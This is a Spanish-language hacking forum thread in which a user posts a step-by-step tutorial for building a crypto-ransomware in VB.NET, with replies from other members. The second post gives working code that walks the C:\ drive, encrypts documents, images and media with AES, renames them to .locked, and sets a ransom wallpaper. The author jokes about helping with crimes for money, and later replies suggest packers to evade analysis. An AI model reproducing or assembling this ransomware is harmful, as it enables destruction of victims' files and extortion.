Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

RANSOMWARE: ¿Qué es? ¿Cómo funciona? ¿Cómo Crearlo? By fudmario.

  • 11 Respuestas
  • 8223 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado fudmario

  • *
  • Cramel
  • *
  • Mensajes: 197
  • Actividad:
    0%
  • Reputación 13
    • Ver Perfil
    • fudmario - GitHub
  • Skype: fudmario
« en: Enero 07, 2016, 01:55:29 am »
Hola a todos, en esta serie de publicaciones vamos a explicar el funcionamiento de un malware del tipo “Crypto-Ransomware” o “filecoder”, como siempre, intentando de ser lo más simple y sencillo para su aprendizaje(No entraremos mucho en conceptos, solo lo suficiente para lograr comprenderlo).

En anteriores publicaciones que hice hace tiempo...xD explique  técnicas de análisis y desinfección de este tipo de Malware.
Los que NO lo vieron, pueden  mirarlo aquí->

Esta serie de publicaciones será como ver desde el otro lado en el cual nuestro objetivo será Entender el funcionamiento, creación, montaje de este tipo de malware.
No sé cuántas publicaciones sean o si me alcanzará el tiempo a terminarlas todas...xD, pero intentaré terminarlo todo.

Preguntas Frecuentes:
¿Porque crear este Tutorial?

R. Para aprender el funcionamiento de este tipo de malware y así poder evitar posibles infecciones(o para promover el desarrollo de software malicioso....xDD). Cada quien es responsable del uso que le dé a esta información.

¿Me Ayudarías a Crear uno completamente FUD y ayudar a Montarlo para poder Infectar?

R.- NO.  El tutorial explicará cómo crearlo paso a paso, como se puede crear, montar, pero bajo ninguna circunstancia ayudaré a cometer Delitos, a no ser que sea por Dinero....xDD.
 
¿Y por qué no crearlo más antes? , ¿Si hay mucha información al Respecto para que hacerlo ahora?
R.- Y bueno como tengo unos días de vacación, dije: "Bueno porque no Crearlo,....xD".

¿Qué pretendes  con esta Información?

Que más allá de conocer cómo funciona este tipo de malware, es también incentivar a usuarios a aprender algún lenguaje de programación, ya que el lenguaje que conozco un poco más es VB.NET usaremos ese….xD, pero se intentará dar la información necesaria para que puedan extrapolar la información y aplicarlo a diferentes lenguaje.

 
Comencemos....

RANSOMWARE:
Citar
Este tipo de malware lo que básicamente hace es: Secuestrar nuestra información, en la cual mediante diversas técnicas  puede  llegar a Bloquear el acceso a nuestro Sistema, cifrar archivos (generalmente: pdf,doc, docx, pptp.....etc los más usados), obligando a la víctima a dar una cierta cantidad de dinero para poder recuperar la información.
En ciertas ocasiones cuando este tipo de malware utiliza un algoritmo de cifrado débil o guarda la contraseña de cifrado en algún lugar de nuestra PC o si el archivo es eliminado de forma estándar, es posible llegar a recuperarlo sin pagar.

Veamos cómo funciona con una muestra analizada: “CTB-Locker (Curve-Tor-Bitcoin Locker)”
Una vez ejecutada el malware lo que hace es comenzar a cifrar archivos  generalmente a archivos comunes.

Posteriormente nos muestra un mensaje (algo similar cambiando nuestro wallpaper,...etc):


En la cual nos da información sobre como rescatar nuestra información:
Online:

Offline:

Para agregar nuestra Public Key hay que ingresar a la Url que nos da:

Y después de Agregar la Public Key.


En la cualquiera de los dos casos nos da las instrucciones para poder pagar el rescate y recuperar nuestra información.

Bueno hasta aquí hoy…xD, es una pequeña introducción sobre el Tema.

Nuestra meta será crear nuestro propio virus, luego nuestro propio Builder/Constructor para generar el virus, montar nuestro panel  de nuestro Crypto-Ransomware agregar varias funciones/opciones.

Avances:
 
  • En la siguiente entrega explicaremos, cuál será la estructura de nuestro propio Crypto-Ransomware.
  • Crear la estructura de nuestro primer Crypto-Ransomware (Modo Offline) basado en el ejemplo anterior y que opciones contendrá nuestro Virus…xD.
  • Comenzaremos  a programar nuestras primeras líneas de código (Enumeración de archivos, filtración por extensiones y más…..xD).


Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« Respuesta #1 en: Enero 07, 2016, 09:28:53 am »
Esperaré ansioso el código  8) Para criticarlo, ponte las pilas  :P

Desconectado bernatixer

  • *
  • Underc0der
  • Mensajes: 14
  • Actividad:
    0%
  • Reputación 0
  • Not yet
    • Ver Perfil
    • bernatixer
  • Skype: bernat.torres.bellido
  • Twitter: BernatTorres
« Respuesta #2 en: Enero 07, 2016, 10:29:00 am »
Pinta muy bien la saga jejej a esperar se ha dicho la siguiente entrega  :)

Desconectado fudmario

  • *
  • Cramel
  • *
  • Mensajes: 197
  • Actividad:
    0%
  • Reputación 13
    • Ver Perfil
    • fudmario - GitHub
  • Skype: fudmario
« Respuesta #3 en: Enero 09, 2016, 02:17:19 am »
continuando con la Publicación,  Ahora comenzaremos a crear nuestro virus, creando nuestras primeras lineas de código,
Lo que necesitaremos:
Nuestra Lista de extensiones de archivos objetivos, los documentos/archivos objetivos serán pocas: ".doc, .docx, .txt, .jpg, .png, .mp3, .mp4"
Código: vb.net
  1.  Dim mExts As IEnumerable(Of String) = {".doc", ".docx", ".txt", ".jpg", ".png", ".mp3", ".mp4"}

Ahora bien, para Enumerar Los Archivos vamos a crear una funcion que nos permita filtrar por extensiones.

Utilizaremos la funcion GetFiles de la Clase System.IO.Directory, la cual nos devuelve los nombres de los archivos (con sus rutas de acceso) que coincidan con el patrón de búsqueda especificado, nuestro patron de busqueda será  que enumere todos los archivo y  en todos los subdirectorios, luego mediante un recorrido por nuestra lista de extensiones compararemos con cada fichero y retornaremos solo las que cumplan la condicion y para que busque en todos los subdirectorios en SearchOption usaremos AllDirectories.

Para Simplificar el código, en vez de usar varios for  para listar los archivos y compara con las extensiones, utilizaremos LINQ.

Código: vb.net
  1.     Public Shared Function GetFiles(dirPath As String, mExts As IEnumerable(Of String)) As IEnumerable(Of String)
  2.         Return (From mFile In IO.Directory.GetFiles(dirPath, "*", IO.SearchOption.AllDirectories) Where mExts.Contains(IO.Path.GetExtension(mFile).ToLower())).ToList()
  3.       End Function


Para el Cifrado y Decifrado de Archivos, aqui reduciremos el trabajo y utilizaremos una subrutina sencilla que encontre en CodeProject(Ver Aquí), con algunas pequeñas modificaciones:
Pero Antes importaremos los siguiente NameSpace:

Código: vb.net
  1. Imports System.IO
  2. Imports System.Security.Cryptography
  3. Imports System.Text
  4.  

   Pues basicamente la Subrutina de Cifrado tendrá dos paramentros, uno para la ruta de Archivo y Otra Para la Contraseña, la cual nos permitira cifrar el archivo, posteriormente cambiarle de extension a .locked
   
Código: vb.net
  1. Public Shared Sub EncodeFile(filename As String, password As String)
  2.         Dim key As Byte() = New Byte(31) {}
  3.         Encoding.Default.GetBytes(password).CopyTo(key, 0)
  4.         Dim aes As New RijndaelManaged() With
  5.             {
  6.                 .Mode = CipherMode.CBC,
  7.                 .KeySize = 256,
  8.                 .BlockSize = 256,
  9.                 .Padding = PaddingMode.Zeros
  10.             }
  11.         Dim buffer As Byte() = File.ReadAllBytes(filename)
  12.         Using mStream As New MemoryStream
  13.             Using cStream As New CryptoStream(mStream, aes.CreateEncryptor(key, key), CryptoStreamMode.Write)
  14.                 cStream.Write(buffer, 0, buffer.Length)
  15.                 Dim appendBuffer As Byte() = mStream.ToArray()
  16.                 Dim finalBuffer As Byte() = New Byte(appendBuffer.Length - 1) {}
  17.                 appendBuffer.CopyTo(finalBuffer, 0)
  18.                 File.WriteAllBytes(filename, finalBuffer)
  19.  
  20.             End Using
  21.         End Using
  22.         File.Move(filename, filename & ".locked")
  23.     End Sub
De Forma similar a la Funcion de Cifrado, la funcion de decifrado lo hará de forma Inversa.
Código: vb.net
  1. Public Shared Sub DecodeFile(filePath As String, password As String)
  2.  
  3.         Dim key As Byte() = New Byte(31) {}
  4.         Encoding.Default.GetBytes(password).CopyTo(key, 0)
  5.         Dim aes As New RijndaelManaged() With
  6.             {
  7.                 .Mode = CipherMode.CBC,
  8.                 .KeySize = 256,
  9.                 .BlockSize = 256,
  10.                 .Padding = PaddingMode.Zeros
  11.             }
  12.         Dim buffer As Byte() = File.ReadAllBytes(filePath)
  13.         Using outputStream As New FileStream(filePath, FileMode.Create)
  14.             Using cryptoStream As New CryptoStream(outputStream, aes.CreateDecryptor(key, key), CryptoStreamMode.Write)
  15.                 cryptoStream.Write(buffer, 0, buffer.Length)
  16.             End Using
  17.         End Using
  18.         File.Move(filePath, filePath.Replace(".locked", ""))
  19.     End Sub
Como parte de las Opciones Extras para nuestra virus, les habia comentado que algunas variantes de estos tipos  de malware lo que hacian era cambiar el fondo de escritorio, para hacer eso usaremos la api: SystemParametersInfo.

 
Código: vb.net
  1. <Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True, CharSet:=Runtime.InteropServices.CharSet.Auto, BestFitMapping:=False, ThrowOnUnmappableChar:=True)>
  2.     Public Shared Function SystemParametersInfo(ByVal uiAction As UInteger,
  3.                                                    ByVal uiParam As UInteger,
  4.                                                    ByVal pvParam As String,
  5.                                                    ByVal fWinIni As UInteger
  6.        ) As <Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.Bool)> Boolean
  7.     End Function
  8.  
   Ahora crearemos una funcion la cual nos permita Establecer el Fondo del Escritorio(de manera predeterminada quedará centrada estableciendo valores al Regedit):
   
Código: vb.net
  1.  Public Shared Function SetDesktopWallpaper(ByVal img As String) As Boolean
  2.         Try
  3.  
  4.             Using regKey As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Control Panel\Desktop", True)
  5.                 regKey.SetValue("TileWallpaper", "0")
  6.                 regKey.SetValue("WallpaperStyle", "0")
  7.             End Using
  8.  
  9.             Return SystemParametersInfo(&H14, Nothing, img, &H0)
  10.         Catch ex As Exception
  11.         End Try
  12.         Return False
  13.     End Function
   



La forma de usar las funciones Serian:

Código: vb.net
  1.   Private Sub RunActions()
  2.                 SetDesktopWallpaper("C:\myRansomwareBasic.bmp")
  3.         Dim mExts As IEnumerable(Of String) = {".doc", ".docx", ".txt", ".jpg", ".png", ".mp3", ".mp4"}
  4.         Dim filepath As String = "C:\"
  5.         For Each mFile As String In GetFiles(filepath, mExts)
  6.             EncodeFile(mFile, "MyPassword")
  7.         Next
  8.     End Sub

Teoricamente con esto ya tendriamos lo necesario para que funcione nuestro crypto-ransomware.

PD: Si alguien tiene alguna duda en alguna parte del Código o considera que existe alguna mejor Forma de Hacerlo, pueden comentar en el Mismo hilo.

Q. ¿Y eso es todo?
A. No, aun seguiremos implementando mas cosas.

En la siguiente entrega seguiremos implementado algunas cosas mas a nuestro virus, y  comenzaremos a armar nuestro panel y parte de nuestro builder tambien veremos como se realizan las peticiones POST desde una aplicacion vb.net.


Conectado blackdrake

  • *
  • Moderator
  • Mensajes: 1919
  • Actividad:
    3.33%
  • Reputación 15
    • Ver Perfil
« Respuesta #4 en: Enero 09, 2016, 08:22:45 am »
Como siempre @fudmario, muy bien explicado y un gran código.

Saludos.



Desconectado Dr.Camaleon

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #5 en: Enero 12, 2016, 05:49:00 am »
Excelente aporte, esperando el otro. 8)

Desconectado M63D

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #6 en: Octubre 04, 2016, 11:38:52 am »
Cuidado con los peligrosos nuevo ransomware - Odin - http://guia-paginas.com/virus-archivos-odin/

Desconectado OnTheCore

  • *
  • Underc0der
  • Mensajes: 58
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil
« Respuesta #7 en: Octubre 06, 2016, 02:09:19 pm »
Por si hay alguien con ganas de robar leyendo este post o alguien que fue infectado por alguien con demasiado tiempo libre y ganas de robar centavos. Este ransomware es tan fácil de bypassear como buscar la contraseña de cifrado hardcodeada (puede ser que la obfusquen también, pero no es dificil encontrarla) en el ejecutable y buscar la función que se encarga de cifrar el archivo.
Si es que se ponen a obfuscar cosas para que parezca inentendible, es cuestión de abrir el ejecutable con un debugger y poner un breakpoint en la función que cifra los archivos.

Desconectado Tito.uagrm

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #8 en: Octubre 19, 2016, 10:35:58 am »
Hola disculpá...como hiciste el formulario en visual basic?  :-[

Desconectado OnTheCore

  • *
  • Underc0der
  • Mensajes: 58
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil
« Respuesta #9 en: Octubre 22, 2016, 01:01:42 pm »
Hola disculpá...como hiciste el formulario en visual basic?  :-[
sabe programar.


« Última modificación: Octubre 22, 2016, 02:41:31 pm por Gabriela »

Desconectado fudmario

  • *
  • Cramel
  • *
  • Mensajes: 197
  • Actividad:
    0%
  • Reputación 13
    • Ver Perfil
    • fudmario - GitHub
  • Skype: fudmario
« Respuesta #10 en: Noviembre 04, 2016, 08:40:02 pm »
Por si hay alguien con ganas de robar leyendo este post o alguien que fue infectado por alguien con demasiado tiempo libre y ganas de robar centavos. Este ransomware es tan fácil de bypassear como buscar la contraseña de cifrado hardcodeada (puede ser que la obfusquen también, pero no es dificil encontrarla) en el ejecutable y buscar la función que se encarga de cifrar el archivo.
Si es que se ponen a obfuscar cosas para que parezca inentendible, es cuestión de abrir el ejecutable con un debugger y poner un breakpoint en la función que cifra los archivos.
Ayuda tambien que  por lo general en aplicaciones .NET se puede decompilar y reconstruir el código fuente...


Igualmente el código es solo de ejemplo, se podría implementar un contraseña dinámica y para dificultar el  proceso de análisis se puede usar packer's(Asi te evitas debuggers, decompilers,etc...).


Hola disculpá...como hiciste el formulario en visual basic?  :-[


Para el panel de administración, ya que mi fuerte no es PHP, me ayude con un Framework MVC que esta bien documentado para uso, CodeIgniter.

Por falta de tiempo no he podido redactar el post para continuar con este tutorial, voy a ver si en estos dias me saco algo de tiempo y lo termino.......o si no voy a publicar solo el código fuente del proyecto completo con + opciones adicionales.


Desconectado aknony

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #11 en: Enero 02, 2017, 12:43:32 am »
Por si hay alguien con ganas de robar leyendo este post o alguien que fue infectado por alguien con demasiado tiempo libre y ganas de robar centavos. Este ransomware es tan fácil de bypassear como buscar la contraseña de cifrado hardcodeada (puede ser que la obfusquen también, pero no es dificil encontrarla) en el ejecutable y buscar la función que se encarga de cifrar el archivo.
Si es que se ponen a obfuscar cosas para que parezca inentendible, es cuestión de abrir el ejecutable con un debugger y poner un breakpoint en la función que cifra los archivos.
Ayuda tambien que  por lo general en aplicaciones .NET se puede decompilar y reconstruir el código fuente...


Igualmente el código es solo de ejemplo, se podría implementar un contraseña dinámica y para dificultar el  proceso de análisis se puede usar packer's(Asi te evitas debuggers, decompilers,etc...).


Hola disculpá...como hiciste el formulario en visual basic?  :-[


Para el panel de administración, ya que mi fuerte no es PHP, me ayude con un Framework MVC que esta bien documentado para uso, CodeIgniter.

Por falta de tiempo no he podido redactar el post para continuar con este tutorial, voy a ver si en estos dias me saco algo de tiempo y lo termino.......o si no voy a publicar solo el código fuente del proyecto completo con + opciones adicionales.

Saludos, a tu codigo le falta como lidiar con las excepciones que produce "SearchOption.AllDirectories", a mi se me ocurre una solucion que funciona mas no se si exista una mejor ya que soy novato
« Última modificación: Enero 02, 2017, 12:46:05 am por aknony »

 

¿Te gustó el post? COMPARTILO!



Como modear desde source y cambiar recurso crypter Por decoder79

Iniciado por decoder79

Respuestas: 2
Vistas: 3148
Último mensaje Noviembre 28, 2012, 12:39:54 am
por s1s
Como Crear Un Worm (.Bat)

Iniciado por CDT-212

Respuestas: 3
Vistas: 3240
Último mensaje Febrero 11, 2013, 07:12:41 am
por k0ws
[Mega Pack] Modding Tools by fudmario

Iniciado por fudmario

Respuestas: 7
Vistas: 10163
Último mensaje Enero 30, 2019, 09:37:00 pm
por Clu$ter101